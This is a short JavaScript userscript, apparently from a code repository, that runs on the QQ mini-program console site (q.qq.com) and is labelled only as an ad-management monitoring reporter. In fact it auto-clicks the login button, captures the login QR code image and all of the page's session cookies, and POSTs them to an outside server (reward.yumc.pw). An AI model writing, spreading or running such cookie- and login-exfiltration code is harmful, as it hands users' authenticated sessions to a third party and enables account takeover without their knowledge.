1
0
Fork 0
UserScript/qq/q.user.js

47 lines
1.6 KiB
JavaScript
Raw Normal View History

2020-09-30 08:41:32 +00:00
// ==UserScript==
// @name QQ小程序授权上报
// @namespace https://qq.yumc.pw/
2021-05-31 02:11:17 +00:00
// @version 0.3
2020-09-30 08:41:32 +00:00
// @description report ad manage monitoring!
// @author MiaoWoo
// @match http*://q.qq.com
// @grant none
// ==/UserScript==
(function () {
2020-10-10 02:08:05 +00:00
'use strict'
2021-05-31 02:11:17 +00:00
var logined = false
2020-10-10 02:08:05 +00:00
var taskId = undefined
2021-05-31 02:11:17 +00:00
async function post(path, data) {
return await fetch('https://reward.yumc.pw/callback/' + path, {
method: "POST",
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
}).then(r => r.json())
}
2020-10-10 02:08:05 +00:00
async function reportQCookie() {
let path = location.hash.substr(1)
2021-05-31 02:11:17 +00:00
if (path == '/') {
if (!document.getElementById('tcaptcha_iframe') && !logined) {
document.querySelector('.t-button--primary').click()
logined = true
2020-09-30 08:41:32 +00:00
}
2021-05-31 02:11:17 +00:00
return
}
if (path == '/loginqrcode') {
var canvers = document.querySelector('.app-qrcode__inner').children[0].children[0]
if (!canvers) { return }
clearInterval(taskId)
await post('qcode', { qrcode: canvers.toDataURL() })
let cookies = document.cookie.split(';').map(s => s.trim().split('=', 2)).reduce((pre, cur, index) => {
pre[cur[0]] = cur[1]
return pre
}, {})
console.log('小程序Cookie上报完毕', await post('qcookie', cookies))
2020-10-10 02:08:05 +00:00
}
}
taskId = setInterval(reportQCookie, 2000)
})()